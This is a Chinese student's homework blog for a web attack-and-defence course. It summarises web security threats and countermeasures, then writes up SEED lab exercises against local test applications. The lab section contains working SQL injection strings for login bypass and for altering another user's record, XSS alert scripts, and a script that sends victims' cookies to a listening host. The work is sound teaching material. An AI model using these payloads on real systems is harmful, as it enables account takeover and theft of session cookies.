20199315 2019-2020-2 《网络攻防实践》第11周作业
20199315 2019-2020-2 《网络攻防实践》第11周作业
前言
这个作业属于哪个课程:https://edu.cnblogs.com/campus/besti/19attackdefense
这个作业的要求在哪里:https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10737
我在这个课程的目标是:学习网络攻防相关知识,提升专业技能
这个作业在哪个具体方面帮助我实现目标:学习了解Web应用程序安全攻防
知识点梳理与总结————《网络攻防技术与实践》教材第十一章
web应用体系结构及其安全威胁
web应用体系结构
Web应用程序(Web Application) 是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,通常以浏览器支持的语言(如JavaScript等脚本语言及HTML等渲染标记语言)所编写,或能够在浏览器控制的环境中运行(如Java Applet),依赖于浏览器来对应用程序进行渲染与执行。
- 浏览器(Browser)
标准的Web客户端就是我们所熟知的浏览器,如IE、Firefox、Chrome等,它们都使用HTTP/HTTPS协议、HTML语言和Web服务器进行交互,获取Web服务器上的信息和应用服务。
- Web服务器(Web Server)
Web服务器软件通常被简单地描述为HTTP守护程序,接收Web客户端对资源的请求,在这些请求上执行一些基本的解析处理以确定资源的存在,然后将它传送给Web应用程序来执行,待Web应用程序执行完逻辑并返回响应时,Web 服务器再将这个响应返回给Web客户端,在浏览器上进行本地执行、渲染和展示。
- Web应用程序(Web Application)
现代Web应用的核心是处于服务器端的业务逻辑,即Web应用程序,虽然嵌入在浏览器中执行的客户端逻辑(如JavaScript代码、Flash/Java 等对象)也逐渐地变得更加普遍和重要。早期静态Web应用程序只有一层,提供用于客户端浏览器显示的页面,随着Web应用技术的发展,Web应用程序的功能越来越复杂与多样化,并出现了分层的概念。这种多层(n-tiers) 的体系结构扩展了原本相当简单的结构,并把它变成了一个动态引擎,与用户进行实时的交互。
- 数据库(Database)
数据库有时也被称为“后台”,是Web应用存储数据的地方,数据层也作为Web应用程序多级结构中的最后一层。在Web应用中流行的数据库管理软件包括微软的MS SQLServer.Oracle和开源的MySQL等,这些数据库管理系统支持统一的数据库查询语言SQL。Web应用程序的业务逻辑层通过一系列的数据连接器连接至后台数据库关系系统,对数据库进行查询、操作和更新,常用数据连接器包括ODBC (开放数据库连接)、OLEDB (对象链接与嵌入数据库)、JDBC (Java 数据库连接)等。
- 传输协议HTTP/HTTPS
浏览器和由Web服务器、Web应用程序和数据库所构成的Web站点之间的通信传输协议是HTTP/HTTPS协议。超文本传输协议(HyperText Transfer Protocol, HTTP) 默认使用TCP 80端口,HTTP是相对比较简单、无状态的、基于ASCII码的协议,其定义在IETF的标准化文档RFC 2616 (HTTP 1.1)和RFC 1945 (HTTP 1.0)中,HTTP 协议使用统一资 源标识符( Uniform Resource Identifiers, URI),对范围从静态文本页面到动态视频流的各种资源进行统一定义,然后采用一种简单的请求/响应模式,来请求一项资源,如果资源存在且可用,服务器就向Web客户端响应这项资源。无状态、ASCII 码明文传输、运行于众所周知的默认TCP端口等特点造就了HTTP协议的简单和流行,同时也导致其易受各种网络攻击。
web应用安全威胁
- 针对浏览器和终端用户的Web浏览安全威胁
具体包括以浏览器渗透攻击为核心的网页木马,Phishing 网站钓鱼等。
- 针对传输网络的网络协议安全威胁
如针对HTTP明文传输协议的敏感信息监听,在网络层、传输层和应用层都存在的假冒身份攻击,以及拒绝服务攻击等,我们已经在第5章TCP/IP协议栈攻击中对此类威胁进行了介绍,这里不再进行赘述。
- 系统层安全威胁
Web站点的宿主操作系统,如Windows Server、 Linux等,存在着远程渗透攻击和本地渗透攻击威胁,我们也已在第7章和第8章中分别针对Linux与Windows系统攻防技术进行了详细介绍。
- Web服务器软件安全威胁
Web服务器软件如lIS、Apache作为一种典型的网络服务,也不可避免地存在着安全漏洞与弱点,攻击者可以利用这些漏洞对Web服务器实施渗透攻击,或者获取敏感信息。
- Web应用程序安全威胁
程序员在使用ASP、PHP等脚本编程语言实现Web应用程序时,由于缺乏安全意识或有着不良的编程习惯,最终导致Web应用程序出现安全漏洞,从而被攻击者渗透利用,包括SQL注入攻击、Xss跨站脚本攻击等。Web应用程序安全威胁与攻防技术是本章的重点内容。
- Web数据安全威胁
Web站点中在Web应用程序后台存储的关键数据内容,以及Web客户输入的数据内容,存在着被窃取、篡改及输入不良信息等威胁。
web应用安全攻防技术概述
与系统和网络攻击类似,针对Web应用的攻击也需要首先进行信息情报的收集,对目标Web应用服务进行发现与剖析,标识出它的基本轮廓,具体包括服务器域名、IP地址和虚拟IP地址,Web服务器端口与其他开放服务,Web站点类型和版本,Web应用程序类型与版本,以及Web服务器和Web应用程序中存在的安全漏洞信息等。
来实施Web应用服务基本轮廓信息收集的基础技术:
-
通过互联网踩点中的WHOIS与DNS查询、使用Web搜索引擎、以及对默认的TCP80和443端口进行端口扫描来发现目标组织的Web服务器
-
使用类型探查技术来识别Web站点的操作系统类型与版本、及Web服务器软件的类型与版本
-
使用漏洞打1描技术来枚举出Web站点系统和服务器软件中存在的已知安全漏洞
-
使用查点技术来攫取Web服务器软件的“旗标”
-
针对Web应用程序的探测和漏洞发现
-
手工审查web应用程序结构与源代码
-
自动下载与镜像web站点页面
-
使用Google hacking技术审查与探测web应用程序
-
web应用程序安全评估与漏洞检测
-
攻击web服务器软件
-
数据驱动的远程代码执行安全漏洞
-
服务器功能扩展模块漏洞
-
样本文件安全漏洞
-
源代码泄露
-
资源解析攻击
攻击web应用程序
- 针对认证机制的攻击
针对用来确认用户、服务或应用身份机制的攻击手段,包括暴力枚举、利用认证机制不完善弱点、攻击口令恢复验证机制等;
- 授权机制的攻击
针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段,包括信任/会话预测、利用授权机制不完善弱点、利用会话失效机制不完善弱点、会话身份窃取攻击等;
- 客户端攻击
扰乱或者渗透攻击Web站点客户端用户的攻击手段,包括内容欺骗、跨站脚本攻击等;
- 命令执行攻击
在Web站点上执行远程命令的攻击手段,包括缓冲区溢出、格式化字符串、LDAP注入、操作系统命令注入、SQL注入、SSI (Server-Side Include)注入等;
- 信息暴露
获取Web站点具体系统信息的攻击手段,包括目录列举、信息泄露、路径遍历、资源位置可预测等;
- 逻辑攻击
扰乱或者渗透攻击Web应用逻辑流程的攻击手段,包括功能滥用、拒绝服务攻击、对抗自动程序不完善、处理验证过程不完善等。
攻击web数据内容
-
安全敏感数据泄露
-
网站篡改
-
不良信息内容上传
web应用安全防范措施
Web站点网络传输安全设防措施
-
尽量使用HTTPS来保障Web站点传输时的保密性、完整性与身份真实性,至少要对登录过程进行加密保护。
-
通过加密的连接通道来管理Web站点,避免使用未经加密的telnet、FTP、HTTP来进行Web后台管理,而使用SSH、SFTP 等安全协议。
-
对关键的Web服务器,设置静态绑定MAC-IP映射,在服务网段内进行ARP等各类欺骗攻击的检测与MAC封禁机制,在网关位置部署防火墙与入侵检测系统对Web服务器实施保护与安全检测,采用冗余等机制来应对拒绝服务攻击。
Web站点操作系统及服务安全设防措施
-
对Web站点的操作系统与服务器软件进行及时的补丁更新
-
对Web站点服务器的操作系统及各种开放服务进行远程安全漏洞扫描,在攻击者利用安全漏洞实施攻击之前发现和修补这些安全漏洞。
-
采用提升系统与服务安全性的一般性设防措施,包括关闭所有不使用的服务,避免使用明文传输的网络服务;设置强口令字,以及安全的服务配置:部署防火墙,设置对控制及内容上传通道的限制访问:配置数据备份服务,必要时设置冗余和双机热备机制。
Web应用程序安全设防措施
-
应该认识到采用动态内容、支持用户输入的Web应用程序较静态HTML具有更高的安全风险,因此在设计与开发Web应用时,应谨慎考虑是否采用动态页面技术、是否支持客户端执行代码、是否允许接受用户输入,信息发布类网站往往无须引入动态页面和用户交互,而且可以通过后台系统来产生信息发布静态页面的方式(这种Web站点构建方式也被新浪、搜狐等门户网站所采纳)来兼顾安全性、访问性能与便捷性。
-
对于必须提供用户交互、采用动态页面的Web站点,尽量使用具有良好安全声誉及稳定技术支持力量的Web应用软件包,如活跃的开源和共享软件,规范运作、注重安全的商业软件公司解决方案等,并定期进行Web应用程序的安全评估与漏洞扫描检测,对Web应用程序应跟进版本更新和安全补]发布情况,进行升级与安全漏洞修补。
-
只在必要时候自主或外包开发Web应用程序,在开发和部署过程中需重视安全编程、持续性的安全测试与维护,安全编程与测试的检查点有:独立、完整且集中的输入校正,校验全部的程序输入、校验输入长度与类型;对HTTP所有内容进行校验,校验向用户输出的数据,使用安全的SQL查询方式,禁止使用JavaScript进行任何校验;使用安全统一的编码或转义方式:设定有安全的权限边界:校验被调用的后台命令、校验被调用的文本或配置文件、确保程序所记录的日志可控。
-
使用Web服务器软件提供的日志功能,对Web应用程序的所有访问请求进行日志记录与安全审计。
Web站点数据安全设防措施
-
提高网站内容维护人员的数据安全意识,确保组织与国家秘密信息不被泄露到对外公开提供服务的Web站点上,同时也不应在网上公开团队/个人承担涉密项目工作,从而避免引来针对性的社会工程学与渗透攻击:培养注重个人隐私的良好习惯,在网上公开的数据中尽可能地避免泄露个人隐私;对于允许用户提交数据的网站,需重视用户提交数据的合法性审查。
-
对维护网站的数据安全实施日常监测和防护:提升Web站点的安全性,避免网站被攻击之后的信息泄露、网站内容篡改与不良信息上传:掌握并善用Google搜索引擎技巧,定期检查自己维护网站和域名内的敏感数据是否被Google检索;对网站的安全配置进行检查,尽量消除目录遍历、文件枚举以及随意上传等渠道:对接受用户交互的网站列出清单,安排日常数据安全审核与检查机制。
实践
SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
SQL对抗:修复上述SQL注入攻击漏洞。
环境配置
本次实验选用虚拟机为SEEDUbuntu,用户名seed
,密码dees
运行Apache Server: 使用指令sudo service apache2 start
启动Apache服务,密码dees
phpBB2 web应用: 镜像已经安装,通过http://www.sqllabmysqlphpbb.com
访问,应用程序源代码位于/var/www/SQL/SQLLabMysqlPhpbb/
配置DNS: 上述的URL仅仅在镜像内部可以访问,原因是目前/etc/hosts
文件使http://www.sqllabmysqlphpbb.com
指向本机IP127.0.0.1
。如果需要在其他机器访问,应该修改hosts文件,使URL映射到phpBB2所在机器的IP。
关闭对抗措施
PHP提供了自动对抗SQL注入的机制,被称为magic quote
,我们需要关闭它:
打开/etc/php5/apache2/php.ini
,找到magic_quotes_gpc = On
这一行。改为magic_quotes_gpc = Off
直接进去修改不能保存,于是去终端,先sudo su
提权(密码dees
),朴素的cd进入
找到刚刚的457行,i
切换输入模式,esc键+:wq
保存退出
重启Apachesudo service apache2 restart
对SELECT语句的攻击
访问www.sqllabmysqlphpbb.com
(收藏夹里有)
点击log in
登录
这个登陆认证由服务器上的login.php实现,需要用户输入用户名和密码来通过认证。界面如下:
用户键入用户名和密码后,login.php会将它们与mysql数据库中的username和user_password字段进行比较,如果匹配就登陆成功。和其他大多数web应用程序一样,PHP程序使用SQL语言与背后的数据库交互。在phpBB2中,下面的语句实现了对用户的认证
SELECTuser_id,username,user_password,user_active,user_level,
user_login_tries,user_last_login_try
FROMUSERS_TABLE
WHEREusername=‟$username‟ANDuser_password=‟md5($password)‟;
if(foundonerecord)
then{allowtheusertologin}
在用户名输入ted'#,密码为空,ted是一个已经存在的用户名,用单引号结束这个字符串,用#转义掉后面的语句。
登录
成功
对UPDATE语句的攻击
当用户想要在phpBB2中修改他们的资料时,可以点击Profile,然后填写表单修改。
比如在时间格式处改成不符合原来要求的,会使SQL语句产生错误的语句,例如改成了一个单引号'
用户发送修改请求后,会执行include/usercp_register.php中的一条UPDATE SQL语句。在这条语句中同样有一个SQL注入漏洞,可以用其实现在不知道其他人密码的情况下修改其资料。
实际的id编号是比在memberlist中大1的,ted在memberlist中编号为5
前面修改资料的各项也都是可以修改的
成功
查看
如果要修改Alice的信息,那么可以尝试着在表单里注入SQL语句来修改最后面的where user_id =
语句,将id改为其他编号,即把表单里的修改信息更新到数据库里id为其他编号的那条数据
除了signature项,在表单其他输入框都可以注入,比如我们在兴趣一行输入aaaaa'where user_id =3#
,即可将修改信息更新到用户id为3的账户Alice上
修改成功
查看用户列表,用户Alice的信息已经被修改
SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
弹窗显示cookie信息:将cookie信息显示。
窃取受害者的cookies:将cookie发送给攻击者。
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
编写XSS蠕虫。
对抗XSS攻击。
发送一段可以显示alert窗口的恶意代码
添加新的消息,随便写个什么subject,然后文本框输入
Bazinga!
<script>alert("XSS");</script>
提交,其中<script>alert("XSS");</script>
即为执行弹窗行为的脚本命令,这里把本来作为文档显示的内容当做了命令执行,当查看该消息时,script里的动作行为被执行,显示了弹窗信息。(经过测试分号好像是可有可无的)
用alert窗口显示用户Cookies
重新添加一个消息,并在内容中加入script脚本信息,获取cookie并弹窗显示出来,其中<script>alert(document.cookie);</script>
即为执行弹窗获取cookie的脚本命令
盗取受害者的Cookies
添加信息
ccc
<script>document.write(’<img src=http://192.168.200.4:5555?c=’ //我的seed虚拟机ip地址是192.168.200.4
+ escape(document.cookie) + ’ >’); </script>
test XSS
修改用户发布的信息
换个网址
这俩虽然看起来一样,但用先前那个不知道为什么没有post信息
登录,账号Ted
密码ted
启动Live HTTP HEADER
添加一条新的信息
监听到POST提交数据的cookie数据
更改信息
replay,发现信息被修改
问题与解决
这次问题们不太容易罗列成1234。大致起因是因为SEED虚拟机无法实现本机与虚拟机之间的复制,所以下面这个软件:
已经后面Java代码都复制不进去。于是去问了好像“复制”进去了的孙茂林同学:
在尝试时发现我的SEED不能上网QAQ!我重新设置了网络适配器,没有效果。孙茂林君建议我打开蜜罐试试。但不知道为什么,蜜罐突然一定让我改密码,改了不满意,不改还进行不下去。我纵横江湖这么多年,被多家网站认可是高保密性的诸多密码到这里就Too simple了……我甚至尝试了lifengyi20199315,都不可以QAQ……要么太简单,要么是字典有的词汇,要么跟原密码过于相近。而且这个“简单”的评判十分诡异。难道我的蜜罐要作废了吗QAQ
然后找了教程看看能不能用U盘实现把本机东西拷到虚拟机里
但我的VM-可移动设备里甚至没有USB这个设置选项QAQ不知道怎么办了
思考感悟
这次的实验弄得我很是闹心。首先看到像是孙启龙君这样的大佬们很多都是用的高版本(16.04)的SEED,遇到困难没有办法咨询他们怎么做了。然后云班课实验指导书里也没有详细步骤操作,感觉有的提出了问题就完事了。也去网上搜寻了前辈们的用我现在这个旧版本(9.04)做实验的记录,看起来操作并不怎么困难,分析内容也不算多,但就是到处碰壁。唉。
另,乐事金黄炒蟹味的薯片不好吃[○・`Д´・ ○],可能是我不喜欢海鲜腥味的缘故。这可能也是我心情不佳的一个重要因素。
参考资料
此为本人网络攻防学习第十一周的内容,如有不足,还请批评指正,不胜感激。